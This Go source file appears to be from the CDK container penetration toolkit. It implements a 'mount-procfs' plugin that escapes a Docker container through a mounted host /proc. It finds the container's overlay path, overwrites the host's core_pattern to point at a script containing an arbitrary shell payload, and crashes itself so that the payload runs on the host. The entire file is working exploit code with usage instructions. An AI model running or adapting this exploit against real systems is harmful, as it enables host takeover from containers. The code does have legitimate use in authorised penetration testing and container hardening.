// +build !no_mount_procfs

package exploit

import (
	"fmt"
	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
	"io/ioutil"
	"log"
	"os"
	"os/exec"
	"regexp"
)

//https://wohin.me/rong-qi-tao-yi-gong-fang-xi-lie-yi-tao-yi-ji-zhu-gai-lan/

func GetDockerAbsPath() string {
	data, err := ioutil.ReadFile("/proc/self/mounts")
	if err != nil {
		log.Println(err)
	}
	//fmt.Println(string(data))

	// workdir=/var/lib/docker/overlay2/9383b939bf4ed66b3f01990664d533f97f1cf9c544cb3f3d2830fe97136eb76f/work
	pattern := regexp.MustCompile("workdir=([\\w\\d/]+)/work")
	params := pattern.FindStringSubmatch(string(data))
	if len(params) < 2 {
		log.Fatal("failed to find docker abs path in /proc/self/mounts")
	}
	return params[1]
}

/*
// or use c codes instead to trigger crash

#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
*/
func triggerSegmentFault() {
	//defer func() {
	//	if r := recover(); r != nil {
	//		fmt.Println("recover from panic:", r)
	//	}
	//}()

	// trigger core dump in crash
	var pInt *int
	*pInt = 1
}

func checkEnvFirst() {
	// golang segment fault will not trigger core dump by default.
	// need to set `export GOTRACEBACK=crash` first
	if os.Getenv("GOTRACEBACK") != "crash" {

		err := os.Setenv("GOTRACEBACK", "crash")
		if err != nil {
			log.Fatal("set GOTRACEBACK env failed:", err)
		}

		log.Println("env GOTRACEBACK not found, trying to set GOTRACEBACK=crash then reload exploit.")

		// reload this exploit with origin args
		cmd := exec.Command(os.Args[0], os.Args[1:]...)
		out, err1 := cmd.Output()
		if err1 != nil {
			log.Printf("Execute Shell:%s failed with error:%s", cmd, err1.Error())
			log.Fatal("if you see \"(core dumped)\" in former err output, means exploit success.")
		}
		fmt.Println(string(out))
		os.Exit(0) // end main process, prevent to run exp twice
	}
}

func ProcfsExploit(procDir string, shellPayload string) {
	// make sure env GOTRACEBACK=crash was set
	checkEnvFirst()

	dockerPath := GetDockerAbsPath()
	log.Printf("/proc mounted dir:\n%s\n", procDir)
	log.Printf("shell payload:\n%s\n", shellPayload)
	log.Printf("current docker abs path:\n%s\n", dockerPath)

	randKey := util.RandString(5)
	corePatternPayload := fmt.Sprintf("|%s/merged/cmd_%s", dockerPath, randKey)
	corePatternFile := procDir + "/sys/kernel/core_pattern"
	expScript := "/cmd_" + randKey
	expPayload := "#!/bin/sh\n" + shellPayload

	util.RewriteFile(corePatternFile, corePatternPayload, 0644)
	util.RewriteFile(expScript, expPayload, 0777)

	log.Println("trigger segment fault to finish exploit, pls check if payload executed success after this program quit.")
	triggerSegmentFault()
}

// plugin interface
type mountProcfsExpS struct{}

func (p mountProcfsExpS) Desc() string {
	return "escape container via mounted procfs. usage: cdk run mount-procfs <dir> \"<shell-payload>\""
}
func (p mountProcfsExpS) Run() bool {
	args := cli.Args["<args>"].([]string)
	if args == nil || len(args) != 2 {
		log.Println("Invalid input args.")
		helpMsg()
	}
	s, err := os.Stat(args[0])
	if err != nil || s == nil {
		log.Println("invalid /proc dir path:", args[0])
		helpMsg()
	}
	if !s.IsDir() {
		log.Println("invalid /proc dir path:", args[0])
		helpMsg()
	}

	procDir := args[0]
	shellPayload := args[1]

	ProcfsExploit(procDir, shellPayload)

	return true
}

func helpMsg() {
	log.Println("usage: cdk run mount-procfs <dir> \"<shell-payload>\"")
	log.Fatal("example: cdk run mount-procfs /mnt/host_proc \"touch /tmp/exploit_success\" (the shell payload will run by docker host).")
}

func init() {
	exploit := mountProcfsExpS{}
	plugin.RegisterExploit("mount-procfs", exploit)
}
